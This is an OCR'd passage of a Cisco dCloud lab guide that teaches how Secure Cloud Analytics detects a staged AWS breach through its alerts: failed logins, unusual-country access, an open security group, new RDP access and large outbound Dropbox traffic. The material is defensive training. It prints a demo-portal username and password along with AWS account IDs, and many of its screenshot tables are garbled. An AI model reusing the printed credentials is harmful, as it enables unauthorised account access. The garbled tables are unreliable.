| 220184940040      | Overly-Permissive-Wide-Open                                | sg-0331907c24cc482f2 | 0.0.0.0/0         | 0-65535  | 0              | 0 B        |
| 220184940040      | SGfor_cisco-dcloud_alert_test                              | sg-0ddeb37dad290bb32 | 0.0.0.0/0         | 0-65535  | 0              | 0 B        |
| 220184940040      | WebServer-Security-Group                                   | sg-07af655209c61c388 | 0.0.0.0/0         | 80, 443  | 0              | 0 B        |



9. Select IAM to see more about the users and roles associated to this account. Click the user "Admin" to see what permissions it has. You will notice it is a member of the Administrator Access policy which has "\*" access, meaning this user has access to everything. Select other use accounts to contrast the permissions.

| CloudTrail Network Graph Security         | Groups IAM         | Inspector                    |              |                     |                   |               |          |
|---|--------------------|------------------------------|--------------|---------------------|-------------------|---------------|----------|
| oloud hair Hetwork draph Occurry          |                    | inspector                    |              |                     |                   |               |          |
| plore your IAM permissions.               | the last 21 days o | f AWS CloudTrail Observation | ane          |                     | 2                 | Lindate IAM D | armieei  |
| . Actions are classified as used based of | ine last 21 days c | Avvo Cloud Itali Observati   | 5115.        |                     | 2                 |               | erriissi |
| User                                      |                    | Export to SVG                | 10           | rds por page        | [                 |               | 0        |
| Group                                     |                    |                              | 10 1000      | ius per page        | search            |               | ų        |
| Role                                      |                    |                              | Account \$   | Name *              |                   | т             | ype      |
| Policy                                    |                    |                              | 805202866036 | 200000 52           |                   | G             | Pole     |
| Action                                    |                    |                              | 803292800030 | access_55           |                   | -             | tole     |
| Unused                                    | , <b>1</b>         |                              | 220184940040 | admin               |                   | L             | Jser     |
| Administra                                | prAc., -           |                              | 805292866036 | admin               |                   | R             | Role     |
| /   |                    |                              | 220184940040 | Admins              |                   | G             | Group    |
| admin                                     |                    |                              | 805292866036 | AWS_lab_webinar     |                   | F             | ₹ole     |
|   |                    |                              | 805292866036 | AWSServiceRoleForAm | nazonEKSNodegroup | F             | tole     |
|   |                    |                              |              |                     |                   |               |          |

10. Select the CloudTrail tab to see recent changes to the AWS account. CloudTrail is a logging service that AWS provides, and that Secure Cloud Analytics can read. It is a great audit trail of user and machine activity that can be used to see who or what made a change. Later, we will show an alert based on a watchlist we built for CloudTrail. In the example below, we can see a user was recently created, followed by some login failures and then a success.

| AWS Visuali     | zations        |               |                                |   |  |  |   |
|-----------------|----------------|---------------|--------------------------------|---|--|--|---|
| CloudTrail      | Network Graph  | Security Grou | ps IAM                         | Inspector   |  |  |   |
| View your AWS ( | loudTrail logs |               |                                |   |  |  |   |
| 20 rec          | ords per page  |               |                                |   |  | search   | Q |
| Time 🗸          | Username 🖨     | Source IP \$  | Event 🗢                        | Request \$  | Response 🗘                             |  |   |
| 11/6/20 10:25 P | N              | .41.7 🗸       | <ul> <li>AssumeRole</li> </ul> | roleArn: arn:aws:iam::220184940040:role/obsrvbl_role     externalld: cisco-dclo | ⊕ credentials: {<br>PM,"accessKey      | "expiration":"Nov 6, 2020 11:25:30<br>Id":"ASIATGR |   |
| 11/6/20 10:25 P | N              | .41.7 🗸       | <ul> <li>AssumeRole</li> </ul> | roleArn: arn:aws:iam::220184940040:role/obsrvbl_role     externalld: cisco-dclo | ⊕ credentials: {         PM,"accessKey | "expiration":"Nov 6, 2020 11:25:30<br>Id":"ASIATGR |   |
| 11/6/20 10:25 P | N              | .41.7 🗸       | <ul> <li>AssumeRole</li> </ul> | roleArn: arn:aws:iam::220184940040:role/obsrvbl_role     externalld: cisco-dclo | ⊕ credentials: {<br>PM,"accessKey      | "expiration":"Nov 6, 2020 11:25:30<br>Id":"ASIATGR |   |
| 11/6/20 10:25 P | N              | .41.7 🗸       | <ul> <li>AssumeRole</li> </ul> | roleArn: arn:aws:iam::220184940040:role/obsrvbl_role     externalld: cisco-dclo | ⊕ credentials: {         PM,"accessKey | "expiration":"Nov 6, 2020 11:25:30<br>Id":"ASIATGR |   |
| 11/6/20 10:25 P | N              | .41.7 🗸       | AssumeRole                     | roleArn: arn:aws:iam::220184940040:role/obsrvbl_role     externalld: cisco-dclo | ⊕ credentials: {         PM,"accessKey | "expiration":"Nov 6, 2020 11:25:30<br>Id":"ASIATGR |   |
| 11/6/20 10:25 P | N              | .41.7 🗸       | <ul> <li>AssumeRole</li> </ul> | roleArn: arn:aws:iam::220184940040:role/obsrvbl_role     externalld: cisco-dclo | ⊕ credentials: {<br>PM,"accessKey      | "expiration":"Nov 6, 2020 11:25:30<br>Id":"ASIATGR |   |
| 11/6/20 10:25 P | N              | .41.7 🗸       | <ul> <li>AssumeRole</li> </ul> | roleArn: arn:aws:iam::220184940040:role/obsrvbl_role     externalld: cisco-dclo | ⊕ credentials: {<br>PM,"accessKey      | "expiration":"Nov 6, 2020 11:25:30<br>Id":"ASIATGR |   |



Secure Cloud Analytics can provide this data via a special role that is created in the customer account that gives this portal Read Only permissions to the data. To see more about how the integration works, click the Settings menu, and select Integrations. AWS is the first listed integration, while you will also see Azure, GCP, Kubernetes, Meraki, and Umbrella. The JSON document lists the various permissions used. In the next lab we will examine an AWS breach.



### Task 2: AWS Breach Lab

Secure Cloud Analytics collects VPC flow logs (i.e. NetFlow) from AWS. In the AWS console you select which VPCs (Virtual Private Clouds) you want flow logs enabled on, when enabled for a VPC, any traffic between machines in the VPC and to the internet is recorded.

In this lab we will look at some of the active alerts for the demo portal. Below is how the AWS network has been setup.

- 1. Bastion Host Remote Desktop Server w/public IP
- 2. ELB Web load balancers (AWS Hosted Service)
- 3. RDS Database Servers (AWS Hosted Service)
- 4. NatGW Path for external traffic out of the VPC (AWS Hosted Service)
- 5. Web Servers Standard EC2 instances running Apache



If you are not already logged into the Secure Cloud Analytics portal, do the following to access it:

1. Launch **Chrome** from the desktop of your Wkst1, as shown below.



2. Select the SWC dCloud Portal bookmark from the SWC folder of the bookmark toolbar as illustrated below.



3. Select Login via cisco-dcloud and enter username test drive and password C1sco12345!

| ← → C ☆   Constant cisco-dcloud.obsrvbl.com/accounts/login/    | C  i cisco-dcloud.obsrvbl.com/accounts/login/                                  |                 |
|--|--|-----------------|
| cisco Stealthwatch Cloud                                       | Username or Email Address  | ×               |
|  | Cisco Stealthwatch Cloud is now enabled with Cistestdrive                      |                 |
| Cisco Stealthwatch Cloud is now enabled with Cisco Secure Sign | Password   | 1               |
|  | Forgot Password  | ;               |
|  | Sign in  |                 |
| Login via Cisco Secure Sign-On                                 | Login attempts from your IP address will be blocked for one hour after three f | ailed attempts. |
|  |  |                 |
| Login via cisco-dcloud   | Login Via Lisco Secure Sign-Un   |                 |
|  | Login via eisco-delood   |                 |



4. Select the Alerts option from the Monitor menu as illustrated below. You should see a mix of alerts like below.

| Co Stealthwatch Cloud   | Monitor V Investigate V Report V Settings V   | Q 🕼 🛛      | 4 4            |
|---|---|------------|----------------|
| Read-Only Mode read-only according to the second | Dashboard<br>Alerts ③ & the site, but cannot make updates or changes.<br>Observations |            |                |
| Alerts  |   |            |                |
| Search  | Q Status  | Assignee - | Sort           |
| 63 open alerts sorted by newest   |   |            | Page 1         |
| Permissive AWS Security Group (     #2575   | reated (Amazon Web Services) 805292866036\fgandola@cisco.com                          |            | an hour        |
| Excessive Access Attempts (External #1453   | nal) virtualmachines/jumpbox  |            | 4 hours :<br>P |
| Excessive Access Attempts (External #1388   | nal) virtualmachines/rogue-server   |            | 4 hours :<br>P |
| Excessive Access Attempts (External #1387   | nal) virtualmachines/jumphost   |            | 4 hours a      |
| Excessive Access Attempts (External #1024 Brute Force   | nal) i-0f5c16650ace2e7ac  |            | 4 hours a      |
| Excessive Access Attempts (Externa #562 GCP   | nal) bastion 1  |            | 4 hours a      |
| Inbound Port Scanner Network     #100     AWS   |   | 1          | 1 hours a      |

## Lab Guide

Cisco dCloud



5. We will start with alert **433** (https://cisco-dcloud.obsrvbl.com/#/alerts/433). Search for 433 if you do not see it and click the hyperlink to get full details. This alert uses the IAM (Identity and Access Management) data from AWS to check for fraudulent activity. Scroll down to the supporting observations and you will see that user Patron tried unsuccessfully to login several times.

| Stealthwa           | itch Cloud             | Monitor 🗸 Inv   | estigate 🗸              | Report 🗸        | Settings 🗸       |                                |              |             | Q         | ¢,        |       | 0              |
|---------------------|------------------------|---|-------------------------|-----------------|------------------|--------------------------------|--------------|-------------|-----------|-----------|-------|----------------|
|                     |                        |   |                         |                 |                  |                                |              |             |           |           |       |                |
| Read-Only           | Mode read-on           | ly accounts can view any par                              | t of the site, bu       | ut cannot mak   | ke updates or c  | hanges.                        |              |             |           |           |       |                |
|                     |                        |   |                         |                 |                  |                                |              |             |           |           |       |                |
| Alerts              |                        |   |                         |                 |                  |                                |              |             |           |           |       | 4              |
| 433                 |                        |   |                         |                 |                  |                                | Status -     | Tage        | Acc       | ianee -   |       | Sort -         |
| 400                 |                        | This user tried and failed to                             | olog                    |                 |                  |                                | Status +     | 1893 +      | A33       | gnee +    |       | Joint          |
| 1 open alert        | sorted by newes        | in to the AWS Console sev<br>times. This alert uses the A | veral<br>AWS            |                 |                  |                                |              |             | × Clea    | r filters |       |                |
| AWS Conse           | ole Login Failure      | CloudTrail Event observation<br>may indicate an unauthori | n and .0040\pati<br>zed | ron             |                  |                                |              |             | 5 m       | nonths, 2 | 2 wee | eks ago<br>Q / |
|                     | ·                      | user is attempting to gai<br>access.                      | in                      |                 |                  |                                |              |             |           | _         |       |                |
| L CSV               |                        |   |                         |                 |                  |                                |              | First       | Previou   | s 1       | Next  | t Las          |
| Status              | 433                    |   |                         |                 |                  |                                |              |             |           |           |       |                |
| AWS Conso           | ole Login Fa           | ailures -   |                         |                 |                  |                                |              |             | )         | a pat     | ron   | ÷              |
| ID<br>Description   | 433<br>This user tried | d and failed to log in to the AW                          | S Console sever         | ral times. This | alert uses the A | WS CloudTrail Event observatio | n and may in | dicate an u | nauthoriz | zed user  | r is  |                |
|                     | attempting to          | gain access.  |                         |                 |                  |                                | ,            |             |           |           |       |                |
| Updated             | Jun 23, 2020           | 2:23:53 PM  |                         |                 |                  |                                |              |             |           |           |       |                |
| Created             | Jan 30, 2020           | 11:42:22 PM   |                         |                 |                  |                                |              |             |           |           |       |                |
| Assignee            | a 🔒 Nobody 🛨           |   |                         |                 |                  |                                |              |             |           |           |       |                |
| Tags -              | AWS CSPM               |   |                         |                 |                  |                                |              |             |           |           |       |                |
|                     | After rev              |   | et the rest of you      | ur team know i  | t's been resolve |                                |              |             |           |           |       |                |
|                     |                        | _   |                         |                 |                  |                                |              |             |           |           |       |                |
|                     | ✓ Close A              | lert  |                         |                 |                  |                                |              |             |           |           |       |                |
|                     | Post to The            | reat Response   |                         |                 |                  |                                |              |             |           |           |       |                |
|                     |                        |   |                         |                 |                  |                                |              |             |           |           |       |                |
| WS CloudTrail Ev    | rvations               |   |                         |                 |                  |                                |              |             |           |           |       |                |
| WS CloudTrail event | reported for the       | e device.   |                         |                 |                  |                                |              |             |           |           |       |                |
| 20 records p        | ber page               |   |                         |                 |                  |                                | search       |             |           |           |       | Q              |
| Time 🗸              | User \$                | Source IP \$  | Event \$                |                 | Request \$       | Response 🕈                     |              | Error (     | Code \$   |           |       |                |
| 6/23/20 2:17 PM     | 🛔 patron 👻             | 12.223.96.68 ▼  | ConsoleL                | Login           | none             | {"ConsoleLogin": "Failure"     | }            |             |           |           |       | ×              |
| 6/23/20 2:17 PM     | 🛔 patron 👻             | ■ 72.223.96.68 -  | ConsoleL                | Login           | none             | {"ConsoleLogin": "Failure"     | }            |             |           |           | ſ     | ×              |

6. Click the black triangle next to the source IP address, and then click **Talos Intelligence** to pivot and see more detail about the source IP Address and its reputation. Notice the Network Owner is "Cisco Systems." As a first step, Operations should reach out to the user and understand why they are not able to log in.

| Supporting Ob        | servations           |                                       | - alialia<br>cisco   | Talo5 Software Vulnerability Information Reputation C             | Center Library Support Incident Response Careers Blog Pr       | odcasts About      |
|----------------------|----------------------|---------------------------------------|----------------------|---|--|--------------------|
| AWS CloudTrail I     | Event Observatio     | on 🕤                                  |                      |   |  |                    |
| AWS CloudTrail and   | ant reported for the | a device                              |                      |   |  |                    |
| Avvs Cloud Irall eve | ent reported for the | e device.                             |                      | Lookup data results for IP Address                                |  |                    |
| 20 record            | ds per page          |                                       |                      | 72.223.96.68  | Q  |                    |
| Time 🗸               | User \$              | Source IP \$                          | Event \$             |   |  |                    |
| 6/23/20 2:17 PM      | 🛔 patron 👻           | <b>™</b> 72.223.96. <mark>18 →</mark> | ConsoleLogi          | IP & Domain Reputation Overview File                              | Reputation Lookup Email & Spam Data Malware Data Reputation Su | pport              |
| 6/23/20 2:17 PM      | 🛔 patron 👻           | P Traff     Session Traffic           | ai ai                |   |  |                    |
| 6/23/20 2:16 PM      | 🛔 patron 👻           | Abusel DB                             | -<br>gi              |   |  |                    |
| 6/23/20 2:16 PM      | 🌢 patron 👻           | Google Earch                          | h gi                 |   |  |                    |
| 6/23/20 2:16 PM      | 🛔 patron 👻           | Add IP to wate                        | chlist <sup>3i</sup> | LOCATION DATA   | REPUTATION DETAILS   |                    |
| 6/23/20 2:16 PM      | 🛔 patron 👻           | Find IP on mul                        | Itiple days gi       | Scottsdale, United States   | EMAIL REPUTATION -   |                    |
| 6/00/00 0.16 014     | •                    |                                       |                      |   | WEB REPUTATION (New   Legacy) — Neutral   New                  | sutral             |
| 6/23/20 2:16 PM      | ■ patron +           | Copy 72.223.                          | .96.68               | OWNER DETAILS   | LAST DAY   | Y LAST MON         |
| 6/23/20 2:16 PM      | 🛔 patron 👻           | -                                     | 3î                   | IP ADDRESS 72.223.96.68   | SPAM LEVEL None  | None               |
| 6/23/20 2-16 PM      | A natron -           | <ul> <li>More with Secur</li> </ul>   | reX                  | FWD/REV DNS MATCH Yes   | EMAIL VOLUME     0.0   |                    |
| 0,20/20 2.10 PW      | - paron -            |                                       |                      | HOSTNAME  p72-223-96-68.ph.ph.cox.n                               | iet 📀 VOLUME CHANGE 0%   |                    |
|                      |                      |                                       |                      | DOMAIN cox.net  |  |                    |
|                      |                      |                                       |                      | NETWORK OWNER Cox Communications                                  | Think these reputation details are incorrect? Subm             | it a dispute here. |
|                      |                      |                                       |                      | CONTENT DETAILS   | BLOCK LISTS 🔞  |                    |
|                      |                      |                                       |                      | CONTENT CATEGORY No established content cat                       | egonies BL.SPAMCOP.NET Not Listed                              |                    |
|                      |                      |                                       |                      | Think there extenses details are incorrect? Submit a dispute here | CBLABUSEAT.ORG Not Listed                                      |                    |
|                      |                      |                                       |                      | Think these category details are incorrect? Submit a dispute ner  | PBLSPAMHAUS.ORG Not Listed                                     |                    |
|                      |                      |                                       |                      |   | SBL SPAMHAUS.ORG NOT LISTED                                    |                    |
|                      |                      |                                       |                      |   | TALOS SECURITY INTELLIGENCE BLOCK LIST                         |                    |
|                      |                      |                                       |                      |   |  |                    |

7. Go back to the main alerts page (https://cisco-dcloud.obsrvbl.com/#/alerts) and search for Alert 430 (https://cisco-dcloud.obsrvbl.com/#/alerts/430). You will see that after the failed login attempts, we have a Geographic Unusual API Usage trigger because a user logged in from an unusual country, in this case it was Japan. Secure Cloud Analytics monitors what countries normally access the API and can detect unusual behavior. This specific alert has a 14 day baseline period. In this case, it is the same user as the console logins alert.

|   | e open  |   |                             |                       |                                |  |       |
|---|---|---|-----------------------------|-----------------------|--------------------------------|--|-------|
|   | <b>D</b> 430  |   |                             |                       |                                |  |       |
| Descriptio  | n The AWS API<br>would trigger  | has been accessed from a rem<br>this alert. | note host in a country that | t doesn't normally ac | ccess the API. For example, cr | reating an IAM role from an unusual foreig | gn IP |
| Update  | d Jan 30, 2020  | 11:43:01 PM                                 |                             |                       |                                |  |       |
| Create  | <b>d</b> Jan 30, 2020   | 11:43:01 PM                                 |                             |                       |                                |  |       |
| Assigne   | e 🛔 Nobody 🗸  |   |                             |                       |                                |  |       |
| Tags  | AWS CSPM  | 1   |                             |                       |                                |  |       |
|   | Close A   | lert  |                             |                       |                                |  |       |
| Supporting Obs  | ✓ Close A<br>Post to The<br>ervations<br>yept Observation   | vert  |                             |                       |                                |  |       |
| Supporting Obs<br>AWS CloudTrail Ev<br>AWS CloudTrail ever                          | Close A<br>Post to The<br>ervations<br>vent Observation<br>treported for the                          | e device.                                   |                             |                       |                                |  |       |
| Supporting Obs<br>AWS CloudTrail Ev<br>AWS CloudTrail ever<br>20 records            | Post to The<br>Post to The<br>ervations<br>vent Observation<br>the reported for the<br>per page       | reat Response                               |                             |                       |                                | search                                     | ٩     |
| Supporting Obse<br>AWS CloudTrail Ev<br>AWS CloudTrail ever<br>20 records<br>Time - | Close A<br>Post to Th<br>ervations<br>vent Observation<br>the reported for the<br>per page<br>User \$ | e device.<br>Source IP ≎                    | Event \$                    | Request≑              | Response ≑                     | search<br>Error Code ≎                     | Q     |

Users can also select what countries are typically not associated with their account by selecting high risk countries from Settings > Alerts > Alerts / Watchlists > Country Watchlist.

# uluih cisco

#### Lab Guide Cisco dCloud

| ← → C ☆ 🌢 cisco-dcloud.obsrvbl.com | n/v2/#/settings/alerts/country  |   |   |   | @ ☆                                       | o 🕎 🔄 G | ) 🖈 🗊 🕘 🗄 |
|------------------------------------|---|---|---|---|---|---------|-----------|
| Stealthwatch Cloud                 | Monitor V Investiga   | ate 🗸 🛛 Repor   | t $\checkmark$ Settings $\checkmark$  |   | Q   | r 🂫 🧧   | 0~1~      |
| Settings                           | Priorities<br>Country Watchlist<br>Internar Connections Watchlist<br>Third Party Watchlist<br>IPs and Domains Watchlist<br>AWS CloudTrail Watchlist<br>GCP Logging Watchlist<br>IP Scanner Rules Watchlist<br>Azure Activity Log Watchlist<br>Azure Advisor Watchlist | IliSt<br>countries will<br>Il countries:<br>Albania<br>Antarctica<br>Australia<br>Australia<br>Bahrain<br>Benin | Alerts Integrations Entity Groups Account Management Subnets Webhooks/Services Sensors Sensors Algeria Algeria Austria Austria Bangladesh | American Samoa<br>buda Argentin<br>Azerbaijan<br>Barbados Boliv | Andorra<br>a Andorra<br>ba Arm<br>Belarus | nenia   | Angola    |

## Lab Guide

Cisco dCloud



- 9. Go back to the main alerts page Monitor > Alerts (https://cisco-dcloud.obsrvbl.com/#/alerts) and search for Alert 431 (https://cisco-dcloud.obsrvbl.com/alerts/431), this alert also uses data from AWS CloudTrail, it looks for security groups (e.g. firewall rules) that are overly permissive. If this was a real account, this would be very suspicious. We can easily pivot out from the alert Observation to see what else this user has been doing in the AWS account.
- 10. Click the black triangle next to the user and select Activity, then Observations. Scroll through the list of observations.

| • • · · ·   |  |  |  |   |   |  |                         |                                   |   |                |                 |
|---|--|--|--|---|---|--|-------------------------|-----------------------------------|---|----------------|-----------------|
| Permissive A  | AWS Security Group Create  | ed -   |  |   |   |  | patron -                | _                                 |   |                |                 |
| Status  | Open   |  |  |   |   | >  | C Activity              |                                   |   |                |                 |
| lD  | 421  |  |  |   |   |  | Alerts     Observations |                                   |   |                |                 |
| Desertation   | 451  | and the states of the states o |  | This sector This s  |   |  | Observations            | _                                 |   |                |                 |
| Description   | that sensitive data is at risk.  | created that allows access in  | om any nost o  | n unsale ports. This a  | alert uses the Avvo Cloud Irall E   | vent observation and i   | User Type 😡             |                                   |   |                |                 |
| Updated   | Jun 23, 2020 2:26:18 PM  |  |  |   |   |  | Administrato            | r                                 |   |                |                 |
| Created   | Jan 30, 2020 11:43:04 PM   |  |  |   |   |  | Machine Use             | r                                 |   |                |                 |
| Assignee  | ≗ Nobody -   |  |  |   |   |  | + Horman Oser           | _                                 |   |                |                 |
| Tags +  | AWS CSPM   | cisco Stealth  | watch Cl   | oud Mo  | nitor 🗸 Investigate 🗸   | Report 🗸 Se  | ttings 🗸                |                                   |   | Q 🕼            | A G             |
|   | After reviewing an alert, closing i     Close Alert  | t • • • • • • • • • • • • • • • • • • •  | n <mark>ly Mode</mark> rea   | d-only accounts ca  | n view any part of the site, b  | ut cannot make upda  | ites or changes.        |                                   |   |                |                 |
|   | Post to Threat Response  | User Activ   | vity   |   |   |  |                         |                                   |   |                |                 |
|   |  | Selected Us  | er   |   | 20 records per page   | Ð  |                         |                                   |   |                |                 |
| upporting Obser                                       | rvations   | search   |  | Q   | Authority \$  | User Name 年  | Type \$                 | Source \$                         | Last Active \$  | # obse         | rvations \$     |
| WS CloudTrail Eve                                     | ent Observation 🕤  | all users  |  |   | Amazon Web Services   | patron   | Normal User             | Network 👻                         | 6/29/20 6:04 PM   | 44 0           |                 |
|   | reported for the device.   | 1d4cf2d3-f56   | 9-4d71-bfb4  | -e53fa454e530   |   |  |                         |                                   |   | 6              |                 |
| zo records p  | la set a como la como da como de | 2eecb16c-26  | 05-4531-9e5  | a-bd995ee15afc  | CSV Showing 1 of 1  |  |                         |                                   | First   | Previous       | 1 Next I        |
| 5/23/20 2:26 PM<br>p<br>pud.obsrvbl.com/#/useractivi  | atron 22.223.96.68 - Authorize   | Stealthw   | atch Clou  | Id Monit  | tor 🗸 Investigate 🗸   | Report 🗸 Settir  | ngs 🗸                   |                                   |   | Q 🖨 /          |                 |
| 5/23/20 2:26 PM F                                     | atron  | CISCO Stealthw  Read-Only  Observation   | ratch Clou<br>Mode read-   | IC Monit  | Investigate V   | Report 🗸 Settin  | ngs 🗸                   |                                   |   | Q 🕼 /          | • • •           |
| 5/23/20 2:26 PM<br>F<br>aud obsrvbi.com/#/useractiv   | atron<br>Wystron   | Bead-Only<br>Observation   | Mode read-   | IC Monit  | Investigate V   | Report 🗸 Settin  | ngs 🗸                   |                                   |   | Q &            |                 |
| 5/23/20 2:26 PM<br>F                                  | A T2.223.96.68 - Authorize   | CISCO Stealthw  Read-Only  Observation  Recent Hig  AWS CloudTri  AWS CloudTri AWS CloudTri  AWS Cl  | ratch Clou<br>Mode read-<br>IS<br>hlights II<br>il Event Ob  | IC Monit<br>only accounts can<br>Types IF By I<br>servation O   | Investigate V   | Report ✔ Settin  | ngs 🗸                   |                                   |   | Q 😫 /          |                 |
| 5/23/20 2:26 PM<br>g<br>wuld oberveb com/e/useraction | atron<br>wystron   | CISCO Stealthw  Read-Only  Observation  Recent Hig  AWS CloudTrai  20  Free  | Mode read-<br>Mode read-<br>IS<br>hilghts I<br>iil Event Ob<br>event reports   | IC Monit<br>only accounts can t<br>Types IF By I<br>servation O<br>d for the device.                                    | Investigate V   | Report ✔ Settin  | ngs 🗸                   |                                   | search  | Q 📽 /          |                 |
| 5/23/20 2:26 PM<br>g<br>aud abervbi.com/#≬useractiv   | atron<br>wystron   | CISCO Stealthw  Read-Only  Observation  Recent Hig  AWS CloudTrai  20 re   | Mode read-<br>Mode read-<br>IS<br>hlights ii<br>iil Event Ob<br>event reporte<br>cords per page  | IC Monit<br>only accounts can t<br>Types IF By I<br>servation O<br>d for the device.                                    | Investigate V   | Report ✔ Settin  | ngs 🗸                   | Pas                               | search  | Q 😫 /          | Error Code      |
| 5/23/20 2:26 PM                                       | Authorize  | CISCO Stealthw  CISCO Stealthw  Cobservation  Cobservatio  | IS<br>Hights II<br>will Event Ob<br>event reports<br>cords per page<br>User ¢<br>M   | IC Monit<br>only accounts can v<br>Types IF By<br>servation O<br>d for the device.<br>Source IP \$<br>17,222,36.68 ~    | View any part of the site, but Device Event  ConsoleLogin   | Report V Settin<br>cannot make update<br>Request \$<br>none  | ngs 🗸                   | Res                               |   | <b>Q &amp;</b> | Error Code      |
| 5/23/20 2:26 PM<br>g<br>oud dibsr/bl.com/#(useractiv  | Authorize  | CISCO Stealthw  CISCO Stealthw  Cobservation  Cobservatio  | Ande read-<br>Ande r | IC Monit<br>only accounts can v<br>Types IF By I<br>servation O<br>d for the device.<br>Source IP €<br>■ 72.223.96.68 ▼ | Investigate  View any part of the site, but Device Event  ConsoleLogin  | Report V Settin cannot make update Request \$ none   | ngs 🗸                   | Res                               | search<br>ponse ≎<br>msoleLogin*: *Success  | <b>Q &amp;</b> | C<br>Error Code |
| 5/23/20 2:26 PM<br>g<br>oud dbsrvbl.com/#(useractiv   | Authorize  | CISCO Stealthw  CISCO Stealthw  Cobservation  Cobservatio  | Ande read-<br>Mode read-<br>Node read-<br>NS<br>Nill Event Ob<br>event reporter<br>cords per page<br>User ¢<br>M<br>apatron<br>V<br>M<br>apatron   | IC Monit<br>only accounts can v<br>Types IF By I<br>servation O<br>d for the device.<br>Source IP 0<br>128.107.241.1(   | Investigate  View any part of the site, but View any part of the site, but Device Event  ConsoleLogin ConsoleLogin                        | Report  Settin cannot make update Request  none none   | ngs 🗸                   | Res<br>{*Cr                       | search<br>ponse €<br>msoleLogin*: "Success  | <b>Q &amp;</b> | C Error Code    |
| 5/23/20 2:26 PM                                       | Authorize  | CISCO Stealthw  CISCO Stealthw  Cobservation  Cobservatio  | Ande read-<br>Mode read-<br>IS<br>hlights II<br>iII Event Ob<br>event reporter<br>cords per page<br>User 0<br>M apatron<br>M apatron<br>V  | IC Monit<br>Types IF By I<br>servation O<br>d for the device.<br>Source IP =<br>128.107.241.16<br>128.107.241.16        | Investigate  View any part of the site, but View any part of the site, but Device Event  ConsoleLogin ConsoleLogin AuthorizeSecurityGroup | Report  Settin cannot make update Request  Reque | ngs ✔<br>s or changes.  | Res<br>(*Cc<br>bb32;" (*re<br>93d | search<br>ponse \$<br>onsoleLogin*: "Success<br>onsoleLogin*: *Success<br>questid*: *021a3043-9<br>4-35abf00fecf6; "_reti | Q &            | C<br>Error Code |

## Lab Guide

Cisco dCloud

- 11. Similar to how Secure Cloud Analytics monitors the API for AWS, it monitors remote access protocols and what IPs are used to access the local network. In the previous example, the user enabled some very permissive policies for the instance, permitting any to any.
- Go back to the Monitor > Alerts page and search for alert 435 (https://cisco-dcloud.obsrvbl.com/#/alerts/435) to see how an alert was triggered for what appears to be a Geographically Unusual Remote Access, the remote IP is the same one used in the Geographically Unusual API access.

| Supporting (                | Observations            |                  |                 |           |        |              |   |  |
|-----------------------------|-------------------------|------------------|-----------------|-----------|--------|--------------|---|--|
| Remote Access Observation O |                         |                  |                 |           |        |              |   |  |
| Device was accessed         | from a remote source.   |                  |                 |           |        |              |   |  |
| 20 records p                | ber page                |                  |                 |           | search |              | ٩ |  |
| Time 🗸                      | Device 🗢                | Remote Device 🗢  | Local Port 🗢    | Profile 年 |        | Remote IP 🗢  |   |  |
| 1/31/20 1:20 AM             | ● i-0f5c16650ace2e7ac - | • 64.104.44.97 - | 3389 (terminal) | RDPServer |        | 64.104.44.97 | × |  |

13. Another example behavior change Secure Cloud Analytics looks for is when a machine that hasn't been accessed remotely is accessed for the 1st time (after the baseline period). Go back to the Monitor > Alerts page and search for alert 434 (https://cisco-dcloud.obsrvbl.com/#/alerts/434), the supporting observations for this is "Remote Access Observation". This has been used to detect out of compliance access, for example a user changing a rule so they login from home vs using the VPN or by a machine being compromised and made a terminal server.

| Supporting (<br>Remote Access             | Observations            |                         |                 |           |                       |      |  |  |
|---|-------------------------|-------------------------|-----------------|-----------|-----------------------|------|--|--|
| Device was accessed from a remote source. |                         |                         |                 |           |                       |      |  |  |
| 20 records                                | per page                |                         |                 |           | search                | Q    |  |  |
| Time 🗸                                    | Device 🗢                | Remote Device 🗢         | Local Port 🗢    | Profile   | Remote IP 🗢           |      |  |  |
| 1/31/20 12:20 AM                          | 9 i-0f5c16650ace2e7ac - | <b>■ 72.163.2.249</b> - | 3389 (terminal) | RDPServer | 72.163.2.249          | ×    |  |  |
| CSV Showing 1                             | of 1                    |                         |                 |           | First Previous 1 Next | Last |  |  |

......

In our examples, so far, we have detected:

- Failed logins.
- Followed by an unusual login.
- A security group change on an instance.
- Followed by new and unusual remote accesses.

At this point, we have a good case to 1) disable the user Patron and 2) lock down or terminate the instance. Ideally, we would want to know what else this instance has been doing to see what the attacker may have done while accessing the machine. Go back to the **Monitor > Alerts** page and search for alert **463**.

Because this alert looks for unusual traffic leaving the network, supporting observations will typically have the current and new peak values. In this example, we have a new peak of 3GB of external traffic, old peak of 195MB and record profile outlier for Dropbox of 2.96GB with and old value of 0. The example uses Dropbox, but a variety of profiles would have been matched for the new peak.

| Supporting            | Observations                                |                                   |            |               |         |                 |      |
|-----------------------|---|-----------------------------------|------------|---------------|---------|-----------------|------|
| New Large Con         | nection (External) Observation ᢒ            |                                   |            |               |         |                 |      |
| Device exchanged a    | n unusually large amount of data with an ex | ternal host.                      |            |               |         |                 |      |
| 20 records            | per page                                    |                                   |            |               | search  |                 | Q    |
|                       |   |                                   | Byte       | s             | Pad     | ckets           |      |
| Time 🗸                | Device \$                                   | Connected IP 🗢                    | in \$      | out \$        | in ¢    | out \$          |      |
| 1/31/20 1:00 AM       | ● i-0f5c16650ace2e7ac -                     | <b>■ 162.125.3.6</b> <del>•</del> | 10,573,498 | 1,790,548,793 | 216,131 | 13,952,120      | ×    |
| CSV Showing 1         | of 1  |                                   |            |               | First I | Previous 1 Next | Last |
| Record Metric C       | Outlier Observation 😏                       |                                   |            |               |         |                 |      |
| Device sent or receiv | ved a record amount of traffic.             |                                   |            |               |         |                 |      |
| 20 records            | per page                                    |                                   |            |               | search  |                 | Q    |
| Time 🗸                | Device \$                                   | Metric \$                         |            | New value     | ÷       | Old value 年     |      |
| 1/31/20 12:00 AM      | ● i-0f5c16650ace2e7ac -                     | External bytes ou                 | ıt         | 3,110,450,3   | 69      | 195,577,964     | ×    |
| LCSV Showing 1        | of 1  |                                   |            |               | First   | Previous 1 Next | Last |
| Record Profile C      | outlier Observation 🛇                       |                                   |            |               |         |                 |      |
| Device sent or receiv | ved a record amount of traffic that matched | a known profile.                  |            |               |         |                 |      |
| 20 records            | per page                                    |                                   |            |               | search  |                 | Q    |
| Time 🗸                | Device 🗢                                    | Profile tag <b>≑</b>              | Metric 🗢   | New           | value 🗢 | Old value 🗢     |      |
| 1/31/20 12:00 AM      | ● i-0f5c16650ace2e7ac -                     | DropboxClient                     | Bytes out  | 2,954,0       | 77,199  | 0               | ×    |
| CSV Showing 1         | of 1  |                                   |            |               | First   | Previous 1 Next | Last |



